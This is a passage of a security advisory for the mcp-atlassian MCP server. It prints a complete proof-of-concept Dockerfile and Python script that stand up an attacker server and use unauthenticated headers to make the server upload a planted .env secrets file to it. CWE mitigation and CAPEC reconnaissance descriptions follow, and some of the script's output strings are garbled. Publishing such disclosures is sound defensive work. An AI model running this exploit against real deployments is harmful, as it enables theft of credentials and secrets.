or the attacker must control a public domain that passes the IP blocklist check.\n\nDespite these preconditions, all are met in documented production deployment configurations described in the project\u0027s own README and Helm chart.\n\n---\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Victim Image\n# Build con: mcp-atlassian repo root (use: docker build -f vuln-001/Dockerfile .)\n# Builds the mcp-atlassian server and creates a secret file for exfiltration demonstration.\n\nFROM ghcr.io/astral-sh/uv:python3.13-alpine AS builder\n\nWORKDIR /app\nENV UV_COMPILE_BYTECODE=1\nENV UV_LINK_MODE=copy\n\n# Copy dependency files\nCOPY pyproject.toml README.md uv.lock ./\n\n# Install dependencies (without the project itself to leverage caching)\nRUN --mount=type=cache,target=/root/.cache/uv \\\n uv sync --frozen --no-install-project --no-dev --no-editable\n\n# Copy source and install the project\nCOPY src ./src\nRUN --mount=type=cache,target=/root/.cache/uv \\\n uv sync --frozen --no-dev --no-editable\n\n# Strip bytecode cache to reduce image size\nRUN find /app/.venv -name \u0027__pycache__\u0027 -type d -exec rm -rf {} + 2\u003e/dev/null || true \u0026\u0026 \\\n find /app/.venv -name \u0027*.pyc\u0027 -delete 2\u003e/dev/null || true\n\n# \u2500\u2500 Final Stage \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM python:3.13-alpine\n\n# Create non-root user mirroring a typical prod deployment\nRUN adduser -D -h /home/app -s /bin/sh app\n\n# Plant a sensitive file that the PoC will exfiltrate\nRUN printf \u0027SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\\n\u0027 \u003e /home/app/.env \u0026\u0026 \\\n printf \u0027DB_PASSWORD=pr0duct10n_d4tab4se_p4ss\\n\u0027 \u003e\u003e /home/app/.env \u0026\u0026 \\\n printf \u0027AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\\n\u0027 \u003e\u003e /home/app/.env \u0026\u0026 \\\n chown app:app /home/app/.env\n\nWORKDIR /app\nUSER app\n\nCOPY --from=builder --chown=app:app /app/.venv /app/.venv\n\nENV PATH=\"/app/.venv/bin:$PATH\"\nENV PYTHONUNBUFFERED=1\n\n# Default: streamable-http on 0.0.0.0:8000 (overridable at runtime)\nENTRYPOINT [\"mcp-atlassian\"]\nCMD [\"--transport\", \"streamable-http\", \"--port\", \"8000\", \"--host\", \"0.0.0.0\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC \u2014 MCP HTTP Client: Server-Local File Exfiltration via\nUnvalidated Attachment Upload Path (CWE-200, CVSS 7.4)\n\nAttack chain:\n  1. Attacker sends X-Atlassian-Confluence-Url / Personal-Token headers \u2014 no\n     Authorization header required (unauthenticated PAT path, main.py:584-595).\n  2. SSRF check passes because MCP_ALLOWED_URL_DOMAINS whitelists the attacker\n     container hostname, bypassing DNS validation (urls.py:107-111).\n  3. ConfluenceFetcher is constructed with the attacker-controlled URL\n     (dependencies.py:544-545).\n  4. confluence_upload_attachment is called with file_path=/home/app/.env \u2014\n     the path is absolutized but never validated against a safe root\n     (attachments.py:64-79).\n  5. The file is opened and PUT-ed as multipart to the attacker server\n     (attachments.py:477,490).\n\nUsage:\n  python3 poc.py [--repo /path/to/repo] [--victim-port 18000]\n                 [--attacker-port 18888] [--no-cleanup]\n\nRequirements on the host running this script:\n  - docker (CLI + daemon)\n  - python3 with httpx (pip install httpx)\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\nimport time\n\n# \u2500\u2500 constants \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nSCRIPT_DIR      = os.path.dirname(os.path.abspath(__file__))\nDEFAULT_REPO    = os.path.join(\n    os.path.dirname(SCRIPT_DIR), \"repo\"\n)\nDOCKERFILE_PATH = os.path.join(SCRIPT_DIR, \"Dockerfile\")\n\nNETWORK_NAME     = \"poc-vuln001-net\"\nVICTIM_NAME      = \"poc-vuln001-victim\"\nATTACKER_NAME    = \"poc-vuln001-attacker\"\nVICTIM_IMAGE     = \"mcp-atlassian-vuln001\"\nATTACKER_IMAGE   = \"python:3.12-slim\"\n\nTARGET_FILE      = \"/home/app/.env\"   # sensitive file planted in the victim image\n\n# \u2500\u2500 attacker server source (injected into the attacker container) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nATTACKER_SERVER_SRC = textwrap.dedent(r\"\"\"\nimport http.server, json, re, sys, threading\n\n_exfil = []   # captured files\n\nclass H(http.server.BaseHTTPRequestHandler):\n    def log_message(self, fmt, *a):\n        print(f\"[attacker-http] {fmt % a}\", flush=True)\n\n    # Confluence auth probe \u2014 return a minimal valid user object\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        if self.path.rstrip(\"/\") == \"/exfil\":\n            self.wfile.write(json.dumps({\"files\": _exfil}).encode())\n        elif self.path.rstrip(\"/\") == \"/ready\":\n            self.wfile.write(b\u0027{\"status\":\"ok\"}\u0027)\n        else:\n            self.wfile.write(json.dumps({\n                \"key\": \"attacker-user\", \"displayName\": \"Attacker\",\n                \"emailAddress\": \"attacker@evil.example\", \"active\": True,\n                \"accountType\": \"atlassian\"\n            }).encode())\n\n    def do_PUT(self):  self._recv()\n    def do_POST(self): self._recv()\n\n    def _recv(self):\n        cl = int(self.headers.get(\"Content-Length\", 0))\n        body = self.rfile.read(cl) if cl else b\"\"\n        ct   = self.headers.get(\"Content-Type\", \"\")\n        print(f\"[attacker] {self.command} {self.path}  body={len(body)}b  ct={ct}\", flush=True)\n\n        file_data = b\"\"\n        if \"multipart\" in ct and body:\n            bm = re.search(r\"boundary[=\\s]+([\\w\\-]+)\", ct)\n            if bm:\n                boundary = bm.group(1).encode()\n                for part in body.split(b\"--\" + boundary):\n                    if b\"\\r\\n\\r\\n\" not in part:\n                        continue\n                    hdr, _, data = part.partition(b\"\\r\\n\\r\\n\")\n                    if b\u0027name=\"file\"\u0027 in hdr or b\"filename\" in hdr:\n                        file_data = data.rstrip(b\"\\r\\n--\")\n                        break\n\n        if file_data:\n            text = file_data.decode(errors=\"replace\")\n            print(\"[attacker] *** EXFILTRATED FILE CONTENT START ***\", flush=True)\n            print(text[:4096], flush=True)\n            print(\"[attacker] *** EXFILTRATED FILE CONTENT END ***\", flush=True)\n            _exfil.append({\"path\": self.path, \"content\": text[:4096], \"size\": len(file_data)})\n        else:\n            print(\"[attacker] WARNING: no file data found in request\", flush=True)\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(json.dumps({\n            \"results\": [{\n                \"id\": \"att-001\", \"type\": \"attachment\", \"title\": \"exfiltrated\",\n                \"metadata\": {\"mediaType\": \"text/plain\"},\n                \"extensions\": {\"fileSize\": len(file_data)}\n            }]\n        }).encode())\n\nserver = http.server.HTTPServer((\"0.0.0.0\", 8888), H)\nprint(\"[attacker] listening on 0.0.0.0:8888\", flush=True)\nsys.stdout.flush()\nserver.serve_forever()\n\"\"\").strip()\n\n\n# \u2500\u2500 helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef run(cmd: str, **kw):\n    r = subprocess.run(cmd, shell=True, capture_output=True, text=True, **kw)\n    return r.returncode, r.stdout, r.stderr\n\n\ndef run_ok(cmd: str, label: str = \"\") -\u003e str:\n    rc, out, err = run(cmd)\n    if rc != 0:\n        tag = f\" ({label})\" if label else \"\"\n        print(f\"[FAIL] Command{tag} exited {rc}:\\n  cmd: {cmd}\\n  stdout: {out}\\n  stderr: {err}\", file=sys.stderr)\n        sys.exit(1)\n    return out\n\n\ndef docker_logs(name: str) -\u003e str:\n    _, out, err = run(f\"docker logs {name} 2\u003e\u00261\")\n    return out + err\n\n\ndef wait_http(url: str, timeout: int = 60, interval: float = 1.5) -\u003e bool:\n    import urllib.request\n    deadline = time.time() + timeout\n    while time.time() \u003c deadline:\n        try:\n            with urllib.request.urlopen(url, timeout=3) as r:\n                if r.status \u003c 500:\n                    return True\n        except Exception:\n            pass\n        time.sleep(interval)\n    return False\n\n\ndef cleanup(victim_name: str, attacker_name: str, network: str):\n    run(f\"docker rm -f {victim_name} {attacker_name} 2\u003e/dev/null\")\n    run(f\"docker network rm {network} 2\u003e/dev/null\")\n\n\ndef parse_sse_result(text: str) -\u003e dict | None:\n    \"\"\"Extract the first JSON-RPC result from an SSE or plain-JSON body.\"\"\"\n    for line in text.splitlines():\n        line = line.strip()\n        if line.startswith(\"data:\"):\n            payload = line[5:].strip()\n        elif line.startswith(\"{\"):\n            payload = line\n        else:\n            continue\n        try:\n            obj = json.loads(payload)\n            if \"result\" in obj or \"error\" in obj:\n                return obj\n        except json.JSONDecodeError:\n            continue\n    return None\n\n\n# \u2500\u2500 MCP client (pure stdlib + httpx) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef mcp_exploit(victim_url: str, attacker_container_url: str, target_file: str) -\u003e dict:\n    \"\"\"\n    Drive the MCP streamable-http protocol to call confluence_upload_attachment\n    with an arbitrary file_path.\n    Returns a dict with keys: success, session_id, response_text, error.\n    \"\"\"\n    import httpx\n\n    service_headers = {\n        \"X-Atlassian-Confluence-Url\":            attacker_container_url,\n        \"X-Atlassian-Confluence-Personal-Token\": \"fake-pat-token-for-poc\",\n    }\n    base_headers = {\n        **service_headers,\n        \"Content-Type\":  \"application/json\",\n        \"Accept\":        \"application/json, text/event-stream\",\n    }\n\n    with httpx.Client(timeout=30) as client:\n        # \u2500\u2500 1. initialize \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print(f\"[poc] Sending initialize to {victim_url}\")\n        resp = client.post(victim_url, headers=base_headers, json={\n            \"jsonrpc\": \"2.0\", \"method\": \"initialize\", \"id\": 1,\n            \"params\": {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"vuln001-poc\", \"version\": \"1.0\"},\n            }\n        })\n        if resp.status_code not in (200, 201):\n            return {\"success\": False, \"error\": f\"initialize failed: HTTP {resp.status_code}\\n{resp.text[:400]}\"}\n\n        session_id = resp.headers.get(\"mcp-session-id\") or resp.headers.get(\"Mcp-Session-Id\")\n        print(f\"[poc] Session-Id: {session_id}\")\n\n        session_headers = {**base_headers}\n        if session_id:\n            session_headers[\"Mcp-Session-Id\"] = session_id\n\n        # \u2500\u2500 2. notifications/initialized \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        client.post(victim_url, headers=session_headers, json={\n            \"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\"\n        })\n\n        # \u2500\u2500 3. tools/list (optional, just for visibility) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        try:\n            tl = client.post(victim_url, headers=session_headers, json={\n                \"jsonrpc\": \"2.0\", \"method\": \"tools/list\", \"id\": 2, \"params\": {}\n            })\n            tools_obj = parse_sse_result(tl.text) or {}\n            if \"result\" in tools_obj:\n                names = [t[\"name\"] for t in tools_obj[\"result\"].get(\"tools\", [])]\n                print(f\"[poc] Tools available: {names}\")\n                if \"confluence_upload_attachment\" not in names:\n                    print(\"[poc] WARNING: confluence_upload_attachment not in tools/list \"\n                          \"(will still attempt tools/call)\")\n        except Exception as e:\n            print(f\"[poc] tools/list skipped: {e}\")\n\n        # \u2500\u2500 4. tools/call \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print(f\"[poc] Calling confluence_upload_attachment  file_path={target_file}\")\n        resp2 = client.post(victim_url, headers=session_headers, json={\n            \"jsonrpc\": \"2.0\", \"method\": \"tools/call\", \"id\": 3,\n            \"params\": {\n                \"name\": \"confluence_upload_attachment\",\n                \"arguments\": {\n                    \"content_id\": \"123\",\n                    \"file_path\": target_file,\n                }\n            }\n        }, timeout=30)\n\n        return {\n            \"success\": True,\n            \"session_id\": session_id,\n            \"status_code\": resp2.status_code,\n            \"response_text\": resp2.text[:2000],\n            \"error\": None,\n        }\n\n\n# \u2500\u2500 main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main():\n    ap = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n    ap.add_argument(\"--repo\",          default=DEFAULT_REPO)\n    ap.add_argument(\"--victim-port\",   type=int, default=18000)\n    ap.add_argument(\"--attacker-port\", type=int, default=18888)\n    ap.add_argument(\"--no-cleanup\",    action=\"store_true\")\n    args = ap.parse_args()\n\n    repo_path     = os.path.abspath(args.repo)\n    victim_port   = args.victim_port\n    attacker_port = args.attacker_port\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC \u2014 MCP File Exfiltration via Attachment Upload\")\n    print(\"=\" * 60)\n    print(f\"Repo:          {repo_path}\")\n    print(f\"Dockerfile:    {DOCKERFILE_PATH}\")\n    print(f\"Victim port:   {victim_port}\")\n    print(f\"Attacker port: {attacker_port}\")\n    print()\n\n    # \u2500\u2500 0. pre-flight \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)\n\n    # \u2500\u2500 1. build victim image \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    print(\"[*] Building victim image (this may take a few minutes)...\")\n    rc, out, err = run(\n        f\"docker build --no-cache -t {VICTIM_IMAGE} \"\n        f\"-f {DOCKERFILE_PATH} {repo_path}\"\n    )\n    if rc != 0:\n        print(f\"[FAIL] docker build failed:\\n{err[-3000:]}\", file=sys.stderr)\n        sys.exit(1)\n    print(f\"[+] Victim image built: {VICTIM_IMAGE}\")\n\n    # \u2500\u2500 2. create network \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    print(\"[*] Creating Docker network...\")\n    run_ok(f\"docker network create {NETWORK_NAME}\", \"network create\")\n    print(f\"[+] Network created: {NETWORK_NAME}\")\n\n    try:\n        # \u2500\u2500 3. start attacker container \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print(\"[*] Starting attacker HTTP server...\")\n        attacker_code_escaped = ATTACKER_SERVER_SRC.replace(\"\u0027\", \"\u0027\\\"\u0027\\\"\u0027\")\n        run_ok(\n            f\"docker run -d \"\n            f\"--network {NETWORK_NAME} \"\n            f\"--name {ATTACKER_NAME} \"\n            f\"-p {attacker_port}:8888 \"\n            f\"{ATTACKER_IMAGE} \"\n            f\"python3 -c \u0027{attacker_code_escaped}\u0027\",\n            \"start attacker\"\n        )\n\n        if not wait_http(f\"http://127.0.0.1:{attacker_port}/ready\", timeout=30):\n            print(\"[FAIL] Attacker server did not start in time\")\n            print(docker_logs(ATTACKER_NAME))\n            sys.exit(1)\n        print(f\"[+] Attacker server ready on port {attacker_port}\")\n\n        # \u2500\u2500 4. start victim container \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print(\"[*] Starting victim MCP server...\")\n        run_ok(\n            f\"docker run -d \"\n            f\"--network {NETWORK_NAME} \"\n            f\"--name {VICTIM_NAME} \"\n            f\"-p {victim_port}:8000 \"\n            f\"-e TRANSPORT=streamable-http \"\n            f\"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} \"\n            f\"-e READ_ONLY_MODE=false \"\n            f\"-e MCP_LOGGING_STDOUT=true \"\n            f\"-e MCP_VERBOSE=true \"\n            f\"{VICTIM_IMAGE} \"\n            f\"--transport streamable-http --port 8000 --host 0.0.0.0\",\n            \"start victim\"\n        )\n\n        print(\"[*] Waiting for victim MCP server to be ready...\")\n        if not wait_http(f\"http://127.0.0.1:{victim_port}/healthz\", timeout=60):\n            print(\"[FAIL] Victim server did not start in time\")\n            print(docker_logs(VICTIM_NAME))\n            sys.exit(1)\n        print(f\"[+] Victim MCP server ready on port {victim_port}\")\n\n        # \u2500\u2500 5. run the exploit \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print()\n        print(\"[*] Launching MCP exploit...\")\n        victim_mcp_url        = f\"http://127.0.0.1:{victim_port}/mcp\"\n        attacker_container_url = f\"http://{ATTACKER_NAME}:8888\"\n\n        result = mcp_exploit(victim_mcp_url, attacker_container_url, TARGET_FILE)\n\n        if not result[\"success\"]:\n            print(f\"[FAIL] MCP exploit error: {result[\u0027error\u0027]}\")\n            print(\"Victim logs:\\n\", docker_logs(VICTIM_NAME)[-2000:])\n            sys.exit(1)\n\n        print(f\"[poc] tools/call HTTP {result[\u0027status_code\u0027]}\")\n        print(f\"[poc] Response:\\n{result[\u0027response_text\u0027]}\")\n\n        # \u2500\u2500 6. verify exfiltration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        time.sleep(2)\n\n        import urllib.request\n        with urllib.request.urlopen(\n            f\"http://127.0.0.1:{attacker_port}/exfil\", timeout=5\n        ) as r:\n            exfil_data = json.loads(r.read())\n\n        attacker_raw_logs = docker_logs(ATTACKER_NAME)\n        print()\n        print(\"Attacker server logs:\")\n        print(attacker_raw_logs[-4000:])\n\n        files = exfil_data.get(\"files\", [])\n        confirmed = bool(files) or (\n            \"EXFILTRATED FILE CONTENT\" in attacker_raw_logs\n            and \"SECRET_DEPLOY_KEY\" in attacker_raw_logs\n        )\n\n        evidence_snippet = \"\"\n        if files:\n            evidence_snippet = files[0].get(\"content\", \"\")[:500]\n        elif \"EXFILTRATED FILE CONTENT START\" in attacker_raw_logs:\n            start = attacker_raw_logs.find(\"EXFILTRATED FILE CONTENT START\") + len(\"EXFILTRATED FILE CONTENT START\") + 4\n            end   = attacker_raw_logs.find(\"EXFILTRATED FILE CONTENT END\", start)\n            evidence_snippet = attacker_raw_logs[start:end].strip()[:500]\n\n        print()\n        if confirmed:\n            print(\"[PASS] file leak confirmed \u2014 attacker servertext victim containertext sensitive filetext receivedtext.\")\n            print(f\"[PASS] Evidence snippet:\\n{evidence_snippet}\")\n        else:\n            print(\"[FAIL] file leak evidencetext checktext text.\")\n            print(\"attacker_logs:\", attacker_raw_logs[-1000:])\n\n        # \u2500\u2500 7. write phase2_result.json \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        phase2 = {\n            \"passed\": confirmed,\n            \"verdict\": \"PASS\" if confirmed else \"FAIL\",\n            \"reason\": (\n                \"MCP HTTP clienttext X-Atlassian-Confluence-Url / Personal-Token headeronlyas \"\n                \"without authentication ConfluenceFetchertext createtext, confluence_upload_attachment tooltext \"\n                \"file_path=/home/app/.envtext path verification text open() and attacker servertext senddone. \"\n                \"attachments.py:477 open(file_path,\u0027rb\u0027)text sensitive filetext text multipart PUT requesttext containsdone.\"\n                if confirmed else\n                \"attacker servertext file receivedtext checktext could not \u2014 logtext referenceand failure cause text required.\"\n            ),\n            \"build_command\": (\n                f\"docker build -t {VICTIM_IMAGE} \"\n                f\"-f {DOCKERFILE_PATH} {repo_path}\"\n            ),\n            \"run_command\": (\n                f\"docker network create {NETWORK_NAME} \u0026\u0026 \"\n                f\"docker run -d --network {NETWORK_NAME} --name {ATTACKER_NAME} \"\n                f\"-p {attacker_port}:8888 {ATTACKER_IMAGE} python3 -c \u0027\u003cattacker_server_src\u003e\u0027 \u0026\u0026 \"\n                f\"docker run -d --network {NETWORK_NAME} --name {VICTIM_NAME} \"\n                f\"-p {victim_port}:8000 \"\n                f\"-e TRANSPORT=streamable-http \"\n                f\"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} \"\n                f\"-e READ_ONLY_MODE=false \"\n                f\"{VICTIM_IMAGE} --transport streamable-http --port 8000 --host 0.0.0.0\"\n            ),\n            \"poc_command\": (\n                f\"python3 {os.path.basename(__file__)} \"\n                f\"--repo {repo_path} \"\n                f\"--victim-port {victim_port} \"\n                f\"--attacker-port {attacker_port}\"\n            ),\n            \"evidence\": evidence_snippet or attacker_raw_logs[-500:],\n            \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n        }\n\n        result_path = os.path.join(SCRIPT_DIR, \"phase2_result.json\")\n        with open(result_path, \"w\") as f:\n            json.dump(phase2, f, indent=2, ensure_ascii=False)\n        print(f\"\\n[*] phase2_result.json written: {result_path}\")\n\n    finally:\n        if not args.no_cleanup:\n            print(\"[*] Cleaning up containers and network...\")\n            cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)\n            print(\"[*] Cleanup done.\")\n        else:\n            print(f\"[*] --no-cleanup: containers left running ({VICTIM_NAME}, {ATTACKER_NAME})\")\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-wv8v-v4c5-v75j",
  "modified": "2026-09-22T20:34:45Z",
  "published": "2026-09-22T20:34:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wv8v-v4c5-v75j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian: MCP HTTP Client Server-Local File Exfiltration via Unvalidated Attachment Upload Path"
}
Mitigation MIT-46
Architecture and Design

Strategy: Separation of Privilege

  • Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
  • Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-116: Excavation

An adversary actively probes the target in a manner that is designed to solicit information that could be leveraged for malicious purposes.

CAPEC-13: Subverting Environment Variable Values

The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.

CAPEC-169: Footprinting

An adversary engages in probing and exploration activities to identify constituents and properties of the target.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-224: Fingerprinting

An adversary compares output from a target system to known indicators that uniquely identify specific details about the target. Most commonly, fingerprinting is done to determine operating system and application versions. Fingerprinting can be done passively as well as actively. Fingerprinting by itself is not usually detrimental to the target. However, the information gathered through fingerprinting often enables an adversary to discover existing weaknesses in the target.

CAPEC-285: ICMP Echo Request Ping

An adversary sends out an ICMP Type 8 Echo Request, commonly known as a 'Ping', in order to determine if a target system is responsive. If the request is not blocked by a firewall or ACL, the target host will respond with an ICMP Type 0 Echo Reply datagram. This type of exchange is usually referred to as a 'Ping' due to the Ping utility present in almost all operating systems. Ping, as commonly implemented, allows a user to test for alive hosts, measure round-trip time, and measure the percentage of packet loss.

CAPEC-287: TCP SYN Scan

An adversary uses a SYN scan to determine the status of ports on the remote target. SYN scanning is the most common type of port scanning that is used because of its many advantages and few drawbacks. As a result, novice attackers tend to overly rely on the SYN scan while performing system reconnaissance. As a scanning method, the primary advantages of SYN scanning are its universality and speed.

CAPEC-290: Enumerate Mail Exchange (MX) Records

An adversary enumerates the MX records for a given via a DNS query. This type of information gathering returns the names of mail servers on the network. Mail servers are often not exposed to the Internet but are located within the DMZ of a network protected by a firewall. A side effect of this configuration is that enumerating the MX records for an organization my reveal the IP address of the firewall or possibly other internal systems. Attackers often resort to MX record enumeration when a DNS Zone Transfer is not possible.

CAPEC-291: DNS Zone Transfers

An attacker exploits a DNS misconfiguration that permits a ZONE transfer. Some external DNS servers will return a list of IP address and valid hostnames. Under certain conditions, it may even be possible to obtain Zone data about the organization's internal network. When successful the attacker learns valuable information about the topology of the target organization, including information about particular servers, their role within the IT structure, and possibly information about the operating systems running upon the network. This is configuration dependent behavior so it may also be required to search out multiple DNS servers while attempting to find one with ZONE transfers allowed.

CAPEC-292: Host Discovery

An adversary sends a probe to an IP address to determine if the host is alive. Host discovery is one of the earliest phases of network reconnaissance. The adversary usually starts with a range of IP addresses belonging to a target network and uses various methods to determine if a host is present at that IP address. Host discovery is usually referred to as 'Ping' scanning using a sonar analogy. The goal is to send a packet through to the IP address and solicit a response from the host. As such, a 'ping' can be virtually any crafted packet whatsoever, provided the adversary can identify a functional host based on its response. An attack of this nature is usually carried out with a 'ping sweep,' where a particular kind of ping is sent to a range of IP addresses.

CAPEC-293: Traceroute Route Enumeration

